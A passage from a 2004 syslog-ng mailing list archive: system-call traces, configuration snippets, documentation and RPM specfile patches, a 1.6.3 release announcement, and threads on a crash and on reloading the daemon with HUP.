14340:   7.5153 = close(5)          &nbs= p;           &nbs= p;           &nbs= p;     Err#9 EBADF
14340:   7.5162 llseek(0, 0, = SEEK_CUR)          &nb= sp;           &nb= sp;   =3D 0
14340:   7.5164 _exit(0)

/bin/sh
-------
14342:   0.2626 = fork()           =             =             =        =3D 14344
14342:  waitid(P_PID, 14344, 0xFFBEF850, = WEXITED|WTRAPPED|WNOWAIT) (sleeping...)
14342:   7.5170     = Received signal #15, SIGTERM, in waitid() [caught]
14342:        = siginfo: SIGTERM pid=3D14340 uid=3D0
14342:   7.5178 waitid(P_PID, 14344, = 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) Err#4 EINTR
14342:   7.5180 = setcontext(0xFFBEF538)
14342:  waitid(P_PID, 14344, 0xFFBEF850, = WEXITED|WTRAPPED|WNOWAIT) (sleeping...)
14342:  17.4322     = Received signal #15, SIGTERM, in waitid() [caught]
14342:        = siginfo: SIGTERM pid=3D13532 uid=3D0
14342:  17.4324 waitid(P_PID, 14344, = 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) Err#4 EINTR
14342:  17.4326 setcontext(0xFFBEF538)
14342:  waitid(P_PID, 14344, 0xFFBEF850, = WEXITED|WTRAPPED|WNOWAIT) (sleeping...)
14342:  26.4310 waitid(P_PID, 14344, = 0xFFBEF850, WEXITED|WTRAPPED|WNOWAIT) =3D 0
14342:  26.4318 ioctl(0, TIOCGPGRP, = 0xFFBEF80C)          &= nbsp;      Err#22 EINVAL
14342:  26.4319 = getpgid(14344)         &nbs= p;           &nbs= p;            = =3D 14337
14342:  26.4321 ioctl(0, TIOCGPGRP, = 0xFFBEF80C)          &= nbsp;      Err#22 EINVAL
14342:  26.4322 waitid(P_PID, 14344, = 0xFFBEF850, WEXITED|WTRAPPED) =3D 0
14342:  26.4326 llseek(0, 0, = SEEK_CUR)          &nb= sp;           &nb= sp;   Err#29 ESPIPE
14342:  26.4327 _exit(2000)

sec.pl
------
14344:  23.4165     = Received signal #15, SIGTERM, in poll() [caught]
14344:        = siginfo: SIGTERM pid=3D13532 uid=3D0
14344:  23.4167 poll(0xFFBEF838, 0, = 100)           &n= bsp;            = Err#91 ERESTART
14344:  23.4172 sigaction(SIGTERM, 0xFFBEF048, = 0xFFBEF0C8)      =3D 0
14344:  23.4175 setcontext(0xFFBEF520)
14344:  23.4179 = time()           =             =             =        =3D 1083681735
14344:  23.4181 waitid(P_ALL, 0, 0xFFBEF788, = WEXITED|WTRAPPED|WNOHANG) Err#10 ECHILD
14344:  23.4183 ioctl(2, TCGETA, = 0xFFBEF874)          &= nbsp;         Err#6 = ENXIO
14344:  23.4185 ioctl(2, TCGETA, = 0xFFBEF874)          &= nbsp;         Err#6 = ENXIO
14344:  23.4187 = time()           =             =             =        =3D 1083681735
14344:  23.4189 ioctl(2, TCGETA, = 0xFFBEF874)          &= nbsp;         Err#6 = ENXIO
14344:  23.4201 = time()           =             =             =        =3D 1083681735
14344:  23.4204 = time()           =             =             =        =3D 1083681735
14344:  23.4206 ioctl(2, TCGETA, = 0xFFBEF874)          &= nbsp;         Err#6 = ENXIO
14344:  23.4208 = time()           =             =             =        =3D 1083681735
14344:  23.4211 = time()           =             =             =        =3D 1083681735
14344:  23.4213 ioctl(2, TCGETA, = 0xFFBEF874)          &= nbsp;         Err#6 = ENXIO
14344:  23.4215 ioctl(2, TCGETA, = 0xFFBEF874)          &= nbsp;         Err#6 = ENXIO
14344:  23.4217 = time()           =             =             =        =3D 1083681735
14344:  23.4219 = alarm(0)          &nbs= p;           &nbs= p;           &nbs= p;     =3D 0
14344:  23.4221 sigaction(SIGALRM, 0xFFBEF798, = 0xFFBEF848)      =3D 0
14344:  23.4222 = sigfillset(0xFF23C4C4)        &n= bsp;           &n= bsp;     =3D 0
14344:  23.4224 sigprocmask(SIG_BLOCK, = 0xFFBEF838, 0xFFBEF828)  =3D 0
14344:  23.4225 = alarm(3)          &nbs= p;           &nbs= p;           &nbs= p;     =3D 0
14344:  = sigsuspend(0xFFBEF818)        &n= bsp; (sleeping...)
14344:  26.4168     = Received signal #14, SIGALRM, in sigsuspend() [caught]
14344:  26.4171 = sigsuspend(0xFFBEF818)        &n= bsp;           &n= bsp;     Err#4 EINTR
14344:  26.4173 setcontext(0xFFBEF500)
14344:  26.4174 = alarm(0)          &nbs= p;           &nbs= p;           &nbs= p;     =3D 0
14344:  26.4176 sigprocmask(SIG_UNBLOCK, = 0xFFBEF838, 0x00000000) =3D 0
14344:  26.4178 sigaction(SIGALRM, 0xFFBEF798, = 0x00000000)      =3D 0
14344:  26.4179 = time()           =             =             =        =3D 1083681738
14344:  26.4181 getcontext(0xFFBEF5E8)
14344:  26.4183 setcontext(0xFFBEF5E8)
14344:  26.4212 getcontext(0xFFBEF4D0)
14344:  26.4219 getcontext(0xFFBEF370)
14344:  26.4221 getcontext(0xFFBEF370)
14344:  26.4244 llseek(0, 0, = SEEK_CUR)          &nb= sp;           &nb= sp;   Err#29 ESPIPE
14344:  26.4246 _exit(0)
iVillage Inc., 500 Seventh Avenue, New York, NY = 10018 -  iVillage Inc. is a leading women's media company that = includes iVillage.com, Women.com, gURL.com, Astrology.com, = Promotions.com, iVillage Parenting Network, The Newborn Channel, Lamaze = Publishing, Business Women's Network, Diversity Best Practices, Best = Practices in Corporate Communications, and iVillage Consulting.  = The information contained in this communication may be confidential, is = intended only for the use of the recipient named above, and may be = construed under applicable law to be a commercial email.  If you = have received this communication in error, please delete this message = from your computer system.  If you are the recipient named above = and do not wish to receive any future commercial emails, please reply = to the sender with a message stating such preference.

------_=_NextPart_001_01C431EB.85EFFE30-- From syslog-ng@lists.balabit.hu Tue May 4 16:34:35 2004 From: syslog-ng@lists.balabit.hu (Loic Minier) Date: Tue, 4 May 2004 17:34:35 +0200 Subject: [syslog-ng]cannot get sec.pl to exit after syslog-ng does In-Reply-To: References: Message-ID: <20040504153435.GB5595@via.ecp.fr> atonns@mail.ivillage.com - Tue, May 04, 2004: > I'm not sure what to do at this point about the /bin/sh - but I'm open > to suggestions. I've checked syslog-ng 1.5.26 that Nate said he was > using and it has the same /bin/sh line in afprogram.c. I've found this > info from the 'sh' manpage: I don't wether it's worth it, but you can try with /usr/xpg4/bin/sh, it is a POSIX compatibility version of sh. I use it because it suffers of less bugs than /bin/sh. Regards, -- Loďc Minier From syslog-ng@lists.balabit.hu Tue May 4 17:04:05 2004 From: syslog-ng@lists.balabit.hu (Jeremy Mates) Date: Tue, 4 May 2004 09:04:05 -0700 Subject: [syslog-ng]Re: syslog-ng 1.7.0 on Darwin (Mac OSX Server 10.3 Panther) In-Reply-To: References: Message-ID: <20040504160405.GH42296@darkness.sial.org> * Cary, Kim > However, I'm not grokking Darwin compared to Solaris/Linux and syslog- > ng configs compared to vanilla syslog. I'm not finding much on > searches that helps. The man pages for the O/S seem like they come > from BSD but don't apply (see log sockets which don't exist ). I'm not > a C programmer and am a bit lost trying to go to syslog.h . Little > help here? Solaris and Linux are a poor reference for how to configure things on Mac OS X, as Mac OS X is based on BSD, not SysV. > I DONT KNOW THE RIGHT SOCKET/DEVICE OR PROTOCOL > There is no /var/run/log or /dev/log. There is a /dev/klog but I get > io.c: bind_unix_socket(): /dev/klog not a socket The easiest method to see how logging works on a particular unix platform is by watching the system calls made by the logger(1) command. Apple includes the usual BSD ktrace(2) and kdump(1) commands: $ ktrace logger "hello world" $ kdump -f ktrace.out This file eventually will show the file "/var/run/syslog" being connected to, which is where Apple utilities have been compiled to log by default. If you start up the old syslog daemon, you should see it bound to that file as a socket: $ file /var/run/syslog /var/run/syslog: socket However, this does not answer what sort of socket the file is, which will be either a unix-stream() or a unix-dgram(). Seeing as Mac OS X has BSD roots, unix-dgram() would be a good first choice, which turns out to be what OS X uses to log with additional testing with logger(1). The following is what I use on my laptop: source local { unix-dgram("/var/run/syslog"); udp(ip(127.0.0.1) port(514)); internal(); } Have not yet looked at getting kernel logging working on OS X. From syslog-ng@lists.balabit.hu Tue May 4 17:46:30 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Tue, 4 May 2004 12:46:30 -0400 Subject: [syslog-ng]cannot get sec.pl to exit after syslog-ng does Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C431F7.59DAA140 Content-Type: text/plain "/bin/sh -c" is currently hardcoded into syslog-ng. -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns@mail.ivillage.co > From: Loic Minier [mailto:lool+syslog@via.ecp.fr] > Sent: Tuesday, May 04, 2004 11:35 AM > To: syslog-ng@lists.balabit.hu > Subject: Re: [syslog-ng]cannot get sec.pl to exit after syslog-ng does > > I don't wether it's worth it, but you can try with > /usr/xpg4/bin/sh, it > is a POSIX compatibility version of sh. I use it because it > suffers of > less bugs than /bin/sh. iVillage Inc., 500 Seventh Avenue, New York, NY 10018 - iVillage Inc. is a leading women's media company that includes iVillage.com, Women.com, gURL.com, Astrology.com, Promotions.com, iVillage Parenting Network, The Newborn Channel, Lamaze Publishing, Business Women's Network, Diversity Best Practices, Best Practices in Corporate Communications, and iVillage Consulting. The information contained in this communication may be confidential, is intended only for the use of the recipient named above, and may be construed under applicable law to be a commercial email. If you have received this communication in error, please delete this message from your computer system. If you are the recipient named above and do not wish to receive any future commercial emails, please reply to the sender with a message stating such preference. ------_=_NextPart_001_01C431F7.59DAA140 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: [syslog-ng]cannot get sec.pl to exit after syslog-ng = does

"/bin/sh -c" is currently hardcoded into = syslog-ng.

--
"Computer science is as much about computers as =
        astronomy = is about telescopes" -- Edsger Dijkstra
--------------------------------------------------------- =
Anthony Tonns, UNIX Administrator - = atonns@mail.ivillage.co
 
> From: Loic Minier [mailto:lool+syslog@via.ecp.fr= ]
> Sent: Tuesday, May 04, 2004 11:35 AM
> To: syslog-ng@lists.balabit.hu
> Subject: Re: [syslog-ng]cannot get sec.pl to = exit after syslog-ng does
>
>  I don't wether it's worth it, but you can = try with
> /usr/xpg4/bin/sh, it
>  is a POSIX compatibility version of = sh.  I use it because it
> suffers of
>  less bugs than /bin/sh.
iVillage Inc., 500 Seventh Avenue, New York, NY = 10018 -  iVillage Inc. is a leading women's media company that = includes iVillage.com, Women.com, gURL.com, Astrology.com, = Promotions.com, iVillage Parenting Network, The Newborn Channel, Lamaze = Publishing, Business Women's Network, Diversity Best Practices, Best = Practices in Corporate Communications, and iVillage Consulting.  = The information contained in this communication may be confidential, is = intended only for the use of the recipient named above, and may be = construed under applicable law to be a commercial email.  If you = have received this communication in error, please delete this message = from your computer system.  If you are the recipient named above = and do not wish to receive any future commercial emails, please reply = to the sender with a message stating such preference.

------_=_NextPart_001_01C431F7.59DAA140-- From syslog-ng@lists.balabit.hu Tue May 4 18:47:23 2004 From: syslog-ng@lists.balabit.hu (Loic Minier) Date: Tue, 4 May 2004 19:47:23 +0200 Subject: [syslog-ng]cannot get sec.pl to exit after syslog-ng does In-Reply-To: References: Message-ID: <20040504174723.GC5595@via.ecp.fr> atonns@mail.ivillage.com - Tue, May 04, 2004: > "/bin/sh -c" is currently hardcoded into syslog-ng. That's what I was suggesting you try to change :) I do not have access to a Solaris box right now (I am in holidays for 2 weeks). -- Loďc Minier From syslog-ng@lists.balabit.hu Tue May 4 21:21:32 2004 From: syslog-ng@lists.balabit.hu (Edwards, Thomas) Date: Tue, 4 May 2004 15:21:32 -0500 Subject: [syslog-ng]Eventog to syslog Message-ID: Has anyone ever used the Eventlog to syslog program found here. https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys I was trying to decipher their input as to how to word the filters and am coming up short other than putting a direct match for the host name I am using. Any help would be greatly appreciated. Tom ******************************************** This message is intended only for the use of the Addressee and may contain information that is PRIVILEGED and CONFIDENTIAL. If you are not the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, please erase all copies of the message and its attachments and notify us immediately. Thank you. ******************************************** From syslog-ng@lists.balabit.hu Wed May 5 18:09:35 2004 From: syslog-ng@lists.balabit.hu (me) Date: Wed, 5 May 2004 19:09:35 +0200 (MEST) Subject: [syslog-ng]syslog-ng crashes after app. 70 messages received References: <13139.1083223853@www2.gmx.net> Message-ID: <5969.1083776975@www7.gmx.net> Hello, syslog-ng-1.6.2 on AIX. The daemon crashes with the following message after received approximately 70 messages: # syslog-ng -dv binding fd 3, unixaddr: /dev/log io.c: Preparing fd 3 for reading io.c: connecting using fd 4 connecting fd 4 to inetaddr loghost, port 514 syslog-ng version 1.6.2 starting io.c: Preparing fd 4 for writing io.c: Preparing fd 5 for writing Garbage collecting while idle... gc_mark: Marking object of class 'syslog_backend' (0) gc_mark: Marking object of class 'syslog_config' (1) gc_mark: Marking object of class 'resource_list' (2) gc_mark: Marking object of class 'io_fd' (3) gc_mark: Marking object of class 'pkt_buffer' (4) gc_mark: Marking object of class 'io_fd' (4) gc_mark: Marking object of class 'pkt_buffer' (5) gc_mark: Marking object of class 'io_fd' (5) gc_mark: Marking object of class 'log_reader' (6) gc_mark: Marking object of class 'afsocket_source_connection' (7) gc_mark: Marking object of class 'afunix_source' (8) gc_mark: Marking object of class 'unix_address_info' (9) gc_mark: Marking object of class 'object_queue' (9) gc_mark: Marking object of class 'log_source_driver' (9) gc_mark: Marking object of class 'log_source_group' (10) gc_mark: Marking object of class 'log_center' (11) gc_mark: Marking object of class 'log_connection' (12) gc_mark: Marking object of class 'log_endpoint_info' (13) gc_mark: Marking object of class 'log_endpoint_info' (13) gc_mark: Marking object of class 'log_dest_group' (14) gc_mark: Marking object of class 'affile_dest' (15) gc_mark: Marking object of class 'affile_dest_writer' (16) Illegal instruction(coredump) # --- I tried it with version 1.5.26 and 1.6.2. Both behave the same... It looks like the garbage collection has a problem. :-o Below my configuration. Bye, Elliot Config: -------------------------------------------- # # options # options { sync (0); stats (3600); perm (0644); time_reopen (10); log_fifo_size (4096); log_msg_size (8192); # gc_idle_threshold (10); # gc_busy_threshold (4096); long_hostnames (off); chain_hostnames (yes); use_dns (yes); use_fqdn (no); create_dirs (no); keep_hostname (yes); }; # # sources # source src { unix-dgram("/dev/log"); internal(); }; # # destinations # destination syslog { file("/var/adm/syslog" template("$DATE $HOST [$FACILITY.$LEVEL] $MSG\n")); }; destination loghost { udp("loghost" port(514) template("$DATE $HOST [$FACILITY.$LEVEL] $MSG\n")); }; # # do the logging here :-) # log { source(src); destination(syslog); }; log { source(src); destination(loghost); }; -- "Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen! Jetzt aktivieren unter http://www.gmx.net/info From syslog-ng@lists.balabit.hu Thu May 6 01:04:16 2004 From: syslog-ng@lists.balabit.hu (=?ISO-8859-1?Q?Jos=E9_Pedro_Oliveira?=) Date: Thu, 06 May 2004 01:04:16 +0100 Subject: [syslog-ng]syslog-ng.sgml patch Message-ID: <40998100.7090703@di.uminho.pt> This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig9FB8271043C2033A0F9B74ED Content-Type: multipart/mixed; boundary="------------030804040105070608090903" This is a multi-part message in MIME format. --------------030804040105070608090903 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Bazsi, Thanks for having commited the libol configure.in patch. There is a problem in the caption of one of the tables in the documentation. Right now tables 3-1 and 3-2 have the same caption. List of tables as seen in the TXT file: ------ ... List of Tables 2-1. Communication method between syslogd and its clients 2-2. Available source drivers in syslog-ng 2-3. Available destination drivers in syslog-ng 2-4. Log statement flags 3-1. Available options for unix-stream & unix-dgram 3-2. Available options for unix-stream & unix-dgram ... ---------- The patch attached corrects this problem (in the SGML file). Regards, jpo -- José Pedro Oliveira * mailto: jpo@di.uminho.pt * http://gsd.di.uminho.pt/~jpo * * gpg fingerprint = F9B6 8D87 859D 1C94 48F0 84C0 9749 9EB5 91BD 851B * --------------030804040105070608090903 Content-Type: text/plain; name="syslog-ng.sgml.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="syslog-ng.sgml.patch" diff -ru syslog-ng-1.7.0+20040506-original/doc/sgml/syslog-ng.sgml syslog-ng-1.7.0+20040506-modified/doc/sgml/syslog-ng.sgml --- syslog-ng-1.7.0+20040506-original/doc/sgml/syslog-ng.sgml 2004-01-09 09:19:55.000000000 +0000 +++ syslog-ng-1.7.0+20040506-modified/doc/sgml/syslog-ng.sgml 2004-05-06 00:52:34.000000000 +0100 @@ -609,7 +609,7 @@ The following options are valid for udp() and tcp() - Available options for unix-stream & unix-dgram + Available options for udp & tcp Only in syslog-ng-1.7.0+20040506-modified/doc/sgml: syslog-ng.sgml.orig --------------030804040105070608090903-- --------------enig9FB8271043C2033A0F9B74ED Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFAmYEGl0metZG9hRsRAtzpAKDR4LR7T7YDBZxUzUkZQee1JhztXACgioZF MbNbhtIpXdaoJu8Y28eX5JM= =5aOG -----END PGP SIGNATURE----- --------------enig9FB8271043C2033A0F9B74ED-- From syslog-ng@lists.balabit.hu Thu May 6 02:51:39 2004 From: syslog-ng@lists.balabit.hu (=?ISO-8859-1?Q?Jos=E9_Pedro_Oliveira?=) Date: Thu, 06 May 2004 02:51:39 +0100 Subject: [syslog-ng]libol.spec.in patch Message-ID: <40999A2B.5070105@di.uminho.pt> This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig0E17760C914E53885B5D7510 Content-Type: multipart/mixed; boundary="------------060608070205010708050505" This is a multi-part message in MIME format. --------------060608070205010708050505 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Bazsi. The specfile included in libol no longer builds correctly (it is broken since Red Hat 9, or more correctly, since rpm 4.2). With the attached patch is builds correctly at least in RH73, RH9, and Fedora Core 1. The history of fedora.us libol SRPM can be found here: https://bugzilla.fedora.us/show_bug.cgi?id=1331 A scsh SRPM can be found here: https://bugzilla.fedora.us/show_bug.cgi?id=919 Regards, jpo -- José Pedro Oliveira * mailto: jpo@di.uminho.pt * http://gsd.di.uminho.pt/~jpo * * gpg fingerprint = F9B6 8D87 859D 1C94 48F0 84C0 9749 9EB5 91BD 851B * --------------060608070205010708050505 Content-Type: text/plain; name="libol.spec.in.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="libol.spec.in.patch" diff -ru libol-0.3.13+20040506-original/libol.spec.in libol-0.3.13+20040506-modified/libol.spec.in --- libol-0.3.13+20040506-original/libol.spec.in 2003-04-10 15:55:26.000000000 +0100 +++ libol-0.3.13+20040506-modified/libol.spec.in 2004-05-06 02:42:04.000000000 +0100 @@ -1,24 +1,39 @@ +# +# Before changing the macro below see the README file included in +# the syslog-ng package. +# +%define with_scheme_preprocessor 0 + Summary: Support library for syslog-ng Name: libol Version: @VERSION@ Release: 1 +Epoch: 0 License: GPL Group: System Environment/Libraries -Url: http://www.balabit.hu/products/syslog-ng/ -Source: http://www.balabit.hu/downloads/syslog-ng/libol/0.3/%{name}-%{version}.tar.gz -Packager: Hollis Blanchard -Buildroot: %{_tmppath}/%{name}-%{version}-buildroot +Url: http://www.balabit.com/products/syslog-ng/ +Source: http://www.balabit.com/downloads/syslog-ng/libol/0.3/%{name}-%{version}.tar.gz +BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) +Requires(post): /sbin/ldconfig +Requires(postun): /sbin/ldconfig +%if %{with_scheme_preprocessor} +BuildRequires: scsh +%endif %description Support library for syslog-ng. + %package devel -Summary: libol headers, libraries -Group: Development/Libraries -Requires: %name = %{version} +Summary: Support library for syslog-ng: headers and libraries +Group: Development/Libraries +Requires: %{name} = %{epoch}:%{version}-%{release} +%if %{with_scheme_preprocessor} +Requires: scsh +%endif %description devel -libol headers, libraries +Support library for syslog-ng: headers and libraries. %prep @@ -26,7 +41,7 @@ %build %configure -make +make %{?_smp_mflags} %install rm -rf ${RPM_BUILD_ROOT} @@ -42,21 +57,31 @@ %files -%defattr(-,root,root) -%doc ChangeLog -%{_bindir}/libol-config -%{_libdir}/libol.so +%defattr(-,root,root,-) +%doc ChangeLog COPYING %{_libdir}/libol.so.0 %{_libdir}/libol.so.0.0.0 %files devel -%defattr(-,root,root) -%{_includedir}/libol +%defattr(-,root,root,-) +%if %{with_scheme_preprocessor} +%{_bindir}/make_class +%else +%exclude %{_bindir}/make_class +%endif +%{_bindir}/libol-config %{_libdir}/libol.a %{_libdir}/libol.la +%{_libdir}/libol.so +%{_includedir}/libol %changelog +* Thu May 6 2004 Jose Pedro Oliveira - 0:0.3.13 +- update to version 0.3.13 +- macro %{with_scheme_preprocessor} +- merged several changes from the fedora.us libol specfile + * Thu Apr 10 2003 Jose Pedro Oliveira - specfile reformated - replaced hard coded values by RPM macros --------------060608070205010708050505-- --------------enig0E17760C914E53885B5D7510 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFAmZo1l0metZG9hRsRAuEyAKDbEhxImpmF6LfHZiI40BEnGRR5JgCfTVga cc2VXyFYyY2msvQtj/QOjBo= =r2Yb -----END PGP SIGNATURE----- --------------enig0E17760C914E53885B5D7510-- From syslog-ng@lists.balabit.hu Thu May 6 10:17:09 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 06 May 2004 11:17:09 +0200 Subject: [syslog-ng]syslog-ng 1.6.3 released Message-ID: <1083835029.597.9.camel@bzorp.balabit> Hi, I have released syslog-ng 1.6.3 with the following user-visible changes: News for the 1.6.3 release Thu, 06 May 2004 11:05:46 +0200 * fixed possible abort when several UNIX domain sources refer to the same socket * fixed afunix and afinet destination template handling, do not include the PRI value automatically, let the administrator do it explicitly in its template * fixed possible segfault when the value of 0 is represented as a string in port specications (e.g. remoteport, localport, port) * added MSGONLY macro which expands to the message only without the program name which sent the log message * added global sanitize_filenames() option which changes control characters in all filenames to '.', defaults to TRUE, this might avoid escape sequence attacks embedded in filenames (imagine an administrator doing an ls in a directory where filenames contain any control characters) * avoid using GNU extensions in strftime (more specificly the timezone expansion in $ISODATE used %z which is not portable for IRIX) * added address spoofing support (use the original IP address when resending messages, read the file README.spoof for more information) * couple of IRIX specific patches were integrated * updated documentation have fun! -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 6 10:39:32 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 06 May 2004 11:39:32 +0200 Subject: [syslog-ng]syslog-ng crashes after app. 70 messages received In-Reply-To: <5969.1083776975@www7.gmx.net> References: <13139.1083223853@www2.gmx.net> <5969.1083776975@www7.gmx.net> Message-ID: <1083836372.597.18.camel@bzorp.balabit> 2004-05-05, sze keltezéssel 19:09-kor me ezt írta: > Hello, > > syslog-ng-1.6.2 on AIX. The daemon crashes with the following message after > received approximately 70 messages: I don't see why AIX would be different wrt the garbage collector. I think this should be some kind of compiler/libc/etc. related. What is your compiler version, is syslog-ng compiled into 64 or 32 bit mode? -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 6 10:41:36 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 06 May 2004 11:41:36 +0200 Subject: [syslog-ng]libol.spec.in patch In-Reply-To: <40999A2B.5070105@di.uminho.pt> References: <40999A2B.5070105@di.uminho.pt> Message-ID: <1083836496.597.20.camel@bzorp.balabit> 2004-05-06, cs keltezéssel 03:51-kor José Pedro Oliveira ezt írta: > Bazsi. > > The specfile included in libol no longer builds correctly > (it is broken since Red Hat 9, or more correctly, since rpm 4.2). > > With the attached patch is builds correctly at least in > RH73, RH9, and Fedora Core 1. > committed. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 6 13:06:00 2004 From: syslog-ng@lists.balabit.hu (me) Date: Thu, 6 May 2004 14:06:00 +0200 (MEST) Subject: [syslog-ng]syslog-ng crashes after app. 70 messages received References: <1083836372.597.18.camel@bzorp.balabit> Message-ID: <6196.1083845160@www24.gmx.net> Hello, > 2004-05-05, sze keltezéssel 19:09-kor me ezt írta: > > Hello, > > > > syslog-ng-1.6.2 on AIX. The daemon crashes with the following message > after > > received approximately 70 messages: > > I don't see why AIX would be different wrt the garbage collector. I > think this should be some kind of compiler/libc/etc. related. > > What is your compiler version, is syslog-ng compiled into 64 or 32 bit > mode? 32 bit mode with gcc 3.3.2 (see below). $ gcc -v Reading specs from /opt/gcc/lib/gcc-lib/powerpc-ibm-aix5.1.0.0/3.3.2/specs Configured with: ./configure --prefix=/opt/gcc Thread model: aix gcc version 3.3.2 Since you released 1.6.3 I'll try this one also. I also experienced the problems with the multiple destination definition. Will be back soon... Thanks for your feedback! Elliot Btw: Following the last lines of a truss. Exactly 70 writes to the log file. Somehow magic... 15562: _poll(0x2FF22A90, 0x00000003, 0x00000064, 0x0000D0B2, 0x00000000, 0x60000000, 0x00000001, 0x00000000) = 0x00000000 15562: Incurred fault #2, FLTPRIV address = 0x00004778 15562: Received signal #4, SIGILL [default] 15562: *** process killed *** -- NEU : GMX Internet.FreeDSL Ab sofort DSL-Tarif ohne Grundgebühr: http://www.gmx.net/dsl From syslog-ng@lists.balabit.hu Thu May 6 12:16:56 2004 From: syslog-ng@lists.balabit.hu (Stephane OMNES) Date: Thu, 6 May 2004 13:16:56 +0200 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng Message-ID: <1083842216.409a1ea87e136@webmail.aql.fr> Hi, I need some help because I encountered a problem when trying to make some automatic logrotate script with syslog-ng. My "logrotate script" is the following : /var/log/*.log { sharedscripts postrotate /bin/kill -HUP `cat /var/run/syslog-ng.pid 2> /dev/null` 2> /dev/= null || true endscript } The syslog-ng daemon never restarts when you type "kill -HUP " I tried also "kill -SIGUP ..." same result (the daemon is stopped but nev= er restarts...). Did someone ever encountered this problem ? Is there any "proper" solution ? I'm currently workin under RedHat Enterprise v3.0 Thanks in advance to answer my question. Regards. St=E9phane OMNES Security Engineer ************************************************************ The contents of this email and any attachments are confidential. They are intended for the named recipient(s) only. If you have received this email in error please notify the system manager or the sender immediately and do not disclose the contents to anyone or make copies. * email scanned for viruses, vandals and malicious content * ************************************************************ From syslog-ng@lists.balabit.hu Thu May 6 17:01:07 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 06 May 2004 18:01:07 +0200 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng In-Reply-To: <1083842216.409a1ea87e136@webmail.aql.fr> References: <1083842216.409a1ea87e136@webmail.aql.fr> Message-ID: <1083859267.11132.37.camel@bzorp.balabit> 2004-05-06, cs keltezéssel 13:16-kor Stephane OMNES ezt írta: > Hi, > I need some help because I encountered a problem when trying to make some > automatic logrotate script with syslog-ng. > My "logrotate script" is the following : > /var/log/*.log { > sharedscripts > postrotate > /bin/kill -HUP `cat /var/run/syslog-ng.pid 2> /dev/null` 2> /dev/null || > true > endscript > } > > The syslog-ng daemon never restarts when you type "kill -HUP " > I tried also "kill -SIGUP ..." same result (the daemon is stopped but never > restarts...). > Did someone ever encountered this problem ? > Is there any "proper" solution ? > > I'm currently workin under RedHat Enterprise v3.0 I don't know any problems wrt reload in syslog-ng 1.6.x, are you really sure you are HUPing the correct PID? -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 6 17:39:03 2004 From: syslog-ng@lists.balabit.hu (Wyner, Peter) Date: Thu, 6 May 2004 12:39:03 -0400 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng Message-ID: <6A8CA21E339F634E96E13AB97D732275E9C855@pro1wnexc01.vcorp.ad.vrsn.com> This is a multi-part message in MIME format. ------=_NextPart_000_0044_01C43367.1C8B8450 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable I have had similar issues HUPing 1.6.2 under Solaris 2.8. My resolution is to kill have the script kill -9 the process and start a new one instead of HUPing. The behavior is not consistant - sometimes it will honor the SIGHUP and sometimes it won't. Peter -----Original Message----- From: syslog-ng-admin@lists.balabit.hu [mailto:syslog-ng-admin@lists.balabit.hu]On Behalf Of Balazs Scheidler Sent: Thursday, May 06, 2004 12:01 PM To: syslog-ng@lists.balabit.hu Subject: Re: [syslog-ng]Problem with "kill -HUP" on syslog-ng 2004-05-06, cs keltez=E9ssel 13:16-kor Stephane OMNES ezt =EDrta: > Hi, > I need some help because I encountered a problem when trying to make some > automatic logrotate script with syslog-ng. > My "logrotate script" is the following : > /var/log/*.log { > sharedscripts > postrotate > /bin/kill -HUP `cat /var/run/syslog-ng.pid 2> /dev/null` 2> /dev/null || > true > endscript > } >=20 > The syslog-ng daemon never restarts when you type "kill -HUP " > I tried also "kill -SIGUP ..." same result (the daemon is stopped but never > restarts...). > Did someone ever encountered this problem ? > Is there any "proper" solution ? >=20 > I'm currently workin under RedHat Enterprise v3.0 I don't know any problems wrt reload in syslog-ng 1.6.x, are you really sure you are HUPing the correct PID? --=20 Bazsi PGP info: KeyID 9AF8D0A9 